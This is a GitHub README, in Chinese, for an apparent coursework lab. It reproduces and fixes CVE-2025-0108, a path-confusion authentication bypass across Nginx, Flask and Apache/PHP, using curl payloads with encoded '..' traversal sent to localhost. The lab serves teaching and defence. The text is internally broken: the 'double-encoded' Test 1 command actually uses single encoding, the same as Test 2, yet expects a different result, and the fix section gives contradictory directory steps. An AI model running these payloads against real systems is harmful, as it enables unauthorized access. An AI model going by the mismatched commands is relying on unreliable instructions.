kso4more/CVE-2025-0108
GitHub: kso4more/CVE-2025-0108
演示CVE-2025-0108路径混淆漏洞的实验环境,展示双层编码如何绕过身份验证以及相应的修复方案。
Stars: 0 | Forks: 0
# CVE-2025-0108 — WebSecurity 作业 3 (PoC 与修复)
本仓库包含一个小型实验环境,用于复现和缓解 CVE-2025-0108 问题(Nginx 与 Apache 之间的路径混淆 / 标头走私)。
本次作业的目标是演示双重编码请求如何在多层堆栈(Nginx -> Flask 后端 -> Apache/PHP)中绕过身份验证,并展示后端侧的缓解措施。
本环境仅供教育目的使用。
## 目录
- `CVE-2025-0108/` — 存在漏洞的实现 (PoC)
- `CVE-2025-0108_fix/` — 已修复的实现(后端验证解码后的路径)
## PoC(存在漏洞) — `CVE-2025-0108`
### 目的
模拟存在漏洞的设置,其中由于各层之间路径解码不一致,双重编码路径可以绕过身份验证。
### 启动环境
在 `CVE-2025-0108` 目录下执行:
```
cd CVE-2025-0108
docker compose up --build
```
### 测试
在你的主机上运行这些 curl 命令:
**测试 1 — 双重编码(预期:HTTP 200)**
```
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
```
此请求使用双重编码(%252e%252e == %2e%2e == ..)并演示了在存在漏洞的设置中的绕过。它应返回 200 OK。
**测试 2 — 单次编码(预期:HTTP 401)**
```
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
```
**测试 3 — 包含 .. 的原始路径(预期:HTTP 401)**
```
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
```
停止环境:
```
docker compose down
```
## 已修复版本 — CVE-2025-0108_fix
后端在允许访问之前对解码后的路径执行额外检查。这可防止请求被双重编码时绕过身份验证。
在 `CVE-2025-0108` 目录下执行:
```
cd CVE-2025-0108
docker compose up --build
```
### 测试
在你的主机上运行这些 curl 命令:
在 `CVE-2025-0108_fix` 目录下执行:
```
cd CVE-2025-0108_fix
docker compose up --build
```
**测试 1 — 双重编码(预期:HTTP 401)**
```
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
```
已修复的后端检测到解码后的 .. 并返回 **401** Unauthorized。
**测试 2 — 单次编码(预期:HTTP 401)**
```
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
```
**测试 3 — 包含 .. 的原始路径(预期:HTTP 401)**
```
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
```
停止环境:
```
docker compose down
```
标签:Apache, CISA项目, CVE-2025-0108, Docker, Flask, HTTP请求走私, Nginx, OPA, OpenVAS, PHP, PoC, Web安全, 双重编码, 安全防御评估, 暴力破解, 漏洞修复, 漏洞复现, 版权保护, 网络安全, 网络安全培训, 蓝队分析, 请求拦截, 请求走私, 路径混淆, 身份验证绕过, 隐私保护, 靶场